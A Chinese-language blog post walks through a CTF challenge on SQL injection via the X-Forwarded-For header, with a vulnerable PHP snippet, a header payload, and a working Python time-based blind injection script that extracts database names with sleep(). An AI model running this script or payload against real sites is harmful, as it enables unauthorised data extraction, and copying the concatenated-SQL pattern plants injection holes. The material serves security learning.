依托http-headers的 sql注入和时间盲注
机缘巧合接触了一点关于sql注入的网络安全问题
依托 headers 的 sql 注入
一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码)。
但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心。比如<strongstyle="color:#890729;">userAgent, ip等。
这里有一个sql注入的题目:who are you? -- http://www.shiyanbar.com/ctf/1941
代码漏洞示例
if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$cip = $_SERVER["HTTP_CLIENT_IP"];
} else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (!empty($_SERVER["REMOTE_ADDR"])) {
$cip = $_SERVER["REMOTE_ADDR"];
} else {
$cip = 'unknow';
}
// 未对ip 进行安全转码
echo 'Your IP address is : '.$cip;
// 直接拼接sql,未使用pdo参数绑定
$sql = "INSERT INTO IP (ip) VALUES ('$cip') ";
$DB->query($sql);
构造sql注入的headers
接触过爬虫/CURL都很熟悉了,构造headers参数就行,以python为例:
headers = {
"X-forwarded-for": "'+(select 1) and '1'='1"
}
req=requests.get(url,headers=headers)
如果顺利的话,应该会类似输出 Your IP address is : '+(select 1) and '1'='1
time-based 时间盲注
看到这里,你可能跟我一样有个疑问。怎么才能破解数据库的信息呢?虽然可以Drop database *;...
我们只能构造sql,并让服务器运行,却不能让页面输出sql的查询结果
这时候时间盲注就排上用场了 Sql注入系列详解(一)---基于时间差的盲注
它的原理很容易理解:
- sql执行速度,在查询条件不存在时响应很快(跟查询语句有关)
sleep()语句可以人为控制sql响应时间- 虽然不能控制页面的输出,但是可以通过
sleep()来控制页面响应时间。根据页面响应时间来判断是否命中查询信息
所以核心思想是,通过sql语句控制页面的响应时间
破解过程非常暴力,看代码一目了然:
def crack_records(url, sql, max_row, max_length):
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
# mysql 不区分大小写
guess = string.ascii_lowercase+string.digits+string.punctuation
res = []
for n in range(0,max_row): #假设爆破前 max_row 个记录
result=''
for i in range(1,max_length): #爆破字符串长度,假设不超过 max_length 长度
flag=0
for str in guess: #爆破该位置的字符
headers = {"X-forwarded-for":"'+"+" (select case when (substring((%s limit 1 offset %d) FROM %d FOR 1)='%s') then sleep(8) else 1 end) and '1'='1" % (sql,n,i,str)}
try:
req=requests.get(url,headers=headers,timeout=6)
except:
result+=str
flag=1
print('正在扫描第%d个记录,the result now is '%(n+1) ,result)
break
if flag==0:
break
res.append(result)
#
if i==1 and flag==0:
print('扫描完成')
break
return res
# 除information_schema外的database
sql = "select schema_name from information_schema.SCHEMATA WHERE schema_name<>'information_schema' "
res = crack_records(url, sql, 100, 500)
print (res)
文章参考
总结
- 破解过程非常耗时,根据网页的响应时长调整timeout阈值
- 当网页因为其他原因超时相应时会产生误差,因此网络不好的情况下需要重复破解以精确结果。
- 这些人好特么聪明啊啊啊啊啊!!!
依托http-headers的 sql注入和时间盲注的更多相关文章
- 实验吧——who are you?(insert into注入 二分法 时间盲注)
题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示 “我要把攻击我的人都记录db中去!” 猜测这是insert into注入,会 ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- SQL注入之延迟盲注
延迟盲注 你不知道你输入的数据在sql被执行后是否是正确或错误的.你只知道有数据. 利用原理 借助if语句,如果正确就sleep(5),延迟5秒返回数据.通过数据返回的时间大小判断自己的语句是否正确执 ...
- 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
随机推荐
- 十一 Django框架,Session
Django中默认支持Session,其内部提供了5种类型的Session供开发者使用: 1.数据库(默认)2.缓存3.文件4.缓存+数据库5.加密cookie 1.数据库Session,保存在数据库 ...
- spring学习-1
spring框架的组件结构图 IOC(Inversion of Control):反转控制,思想是反转资源获取方向,传统的资源查找方向是组件向容器发起请求资源查找,作为回应,容器适时的返回资源,IOC ...
- Havel-Hakimi定理(握手定理)
Havel-Hakimi定理(握手定理) 由非负整数组成的非增序列s(度序列):d1,d2,…,dn(n>=2,d1>=1)是可图的,当且仅当序列: s1:d2 – 1,d3 – 1,…, ...
- 数据交换格式XML和JSON对比
1.简介: XML:extensible markup language,一种类似于HTML的语言,他没有预先定义的标签,使用DTD(document type definition)文档类型定义来组 ...
- [原]NYOJ-开灯问题-77
大学生程序代写 //http://acm.nyist.net/JudgeOnline/problem.php?pid=77 /*题目77题目信息运行结果本题排行讨论区开灯问题 时间限制:3000 ms ...
- ubuntu 上采用nginx做rtmp 直播 服务器
首先安装必要的依赖库 sudo apt-get install autoconf automake sudo apt-get install libpcre3 libpcre3-dev 安装 ...
- 在Debug中使用断点调试程序
我最近在学习汇编的程序,所以很多都需要动手写点代码去测试,如果是测试三五行代码的还比较简单,可以在debug中直接按T进行单步调试,但是到后来调试的代码越来越复杂,越来越长,如果再使用单步调试不知道要 ...
- Poj 2503 Babelfish(Map操作)
一.Description You have just moved from Waterloo to a big city. The people here speak an incomprehens ...
- Puppet master nginx 扩展提升性能(puppet自动化系列4)
puppet使用SSL(https)协议来进行通讯,默认情况下,puppet server端使用基于Ruby的WEBRick HTTP服务器.由于WEBRick HTTP服务器在处理agent端的性能 ...
- 【转】 Pro Android学习笔记(三四):Menu(5):动态菜单
目录(?)[-] OptionsMenu的创建方式 如何再次创建OptionsMenu 每次访问都重新填充菜单项 OptionsMenu的创建方式 OptionMenu在第一次访问该菜单时调用,只调用 ...